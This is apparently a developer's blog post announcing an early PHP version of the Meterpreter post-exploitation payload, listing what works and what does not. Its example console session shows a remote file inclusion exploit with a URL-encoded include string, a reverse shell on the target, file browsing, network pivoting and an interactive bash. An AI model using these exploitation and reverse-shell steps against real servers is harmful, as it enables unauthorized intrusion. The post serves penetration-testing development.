Meterpreter, as I'm sure most of our readers know, is an advanced in-memory payload with tons of useful post-exploitation features.  About a year ago, while looking through various buggy, backdoored PHP shells, I decided it might be useful to have some of Meterpreter's networking features in the web's most pwnable language.  I started to implement this idea prior to Blackhat last year but got caught up in other projects and let it languish.  Last week I dusted it off, cleaned it up and committed the first steps toward a full-fledged Meterpreter in PHP.

What works:

  • stdapi:filesystem commands: ls, rm, pwd, cd, upload, download, cat, edit
  • stdapi:system commands: ps, kill, execute*, getpid, getuid, sysinfo
  • stdapi:network commands: portfwd
  • msfconsole commands: route

* except interaction (the -i option) on Windows.

This is probably best illustrated by some example usage.

msf exploit(php_include) > exploit

[*] Started reverse handler on 
[*] Using URL:
[*] PHP include server started.
[*] Sending /vuln/test.php?path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%39%2e%31%3a%38%30%38%30%2f%66%6f%6f%3f
[*] Meterpreter session 27 opened ( -> at 2010-06-14 14:03:31 -0600

meterpreter > sysinfo
Computer: EGYPT-B3E55BF3C
OS      : Windows NT EGYPT-B3E55BF3C 5.1 build 2600

meterpreter > ls

Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\vuln

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  141   fil   2010-06-08 01:32:56 -0600  test.php

meterpreter > cd ..
meterpreter > ls

Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  51    fil   2010-06-14 14:20:53 -0600  foo.php
100666/rw-rw-rw-  44    fil   2004-11-20 11:16:26 -0700  index.html.bak
100666/rw-rw-rw-  609   fil   2010-06-03 16:07:59 -0600  index.php
100666/rw-rw-rw-  16    fil   2010-06-07 09:42:10 -0600  phpinfo.php
40777/rwxrwxrwx   0     dir   2010-06-08 01:32:51 -0600  vuln

meterpreter > cat foo.php
echo PHP_VERSION . "\n" . PHP_OS . "\n";

meterpreter > background
msf exploit(php_include) > route add 27
msf exploit(php_include) > connect 80
[*] Connected to
GET /foo.php HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 14 Jun 2010 20:03:51 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Length: 111
Connection: close
Content-Type: text/html

msf exploit(php_include) > sessions -i 26
meterpreter > sysinfo
Computer: vuln
OS      : Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64
meterpreter > getuid
Server username: www-data (33)
meterpreter > execute -i -f bash
Process 3637 created.
Channel 4 created.
uname -a
Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64 GNU/Linux
meterpreter > 

What doesn't

  • Migrate.  This can never work since it doesn't make sense to inject PHP code into a native process, even if PHP had access to the debugging API calls that make it possible.
  • Token stealing.  See above.
  • Screenshots.  A lot of servers running PHP don't even have a screen.
  • Process interaction on Windows.  You can still execute channelized processes, and then read/write the channel, but stream_select() is weird on Windows
  • It appears that reading from a socket or pipe that has no data will never return, even after setting timeouts. I'm probably missing something that makes this work.  Setting non-blocking mode on every socket has it's own issues, but it may be the only way to fix this.
  • SSL.  OpenSSL is not compiled into PHP by default which is a bummer.


Eventually I intend to make this work with multiple transport methods.  Right now it is a single reverse tcp stage.  It would also be nice to use SSL when PHP has been compiled with OpenSSL support but this might be tricky on the ruby side.  Extensions need to work for a default install of PHP (zlib is not compiled in by default), which simply means not compressing them before sending.  The size of the code should in general be relatively small anyway, so this shouldn't increase the network traffic by much.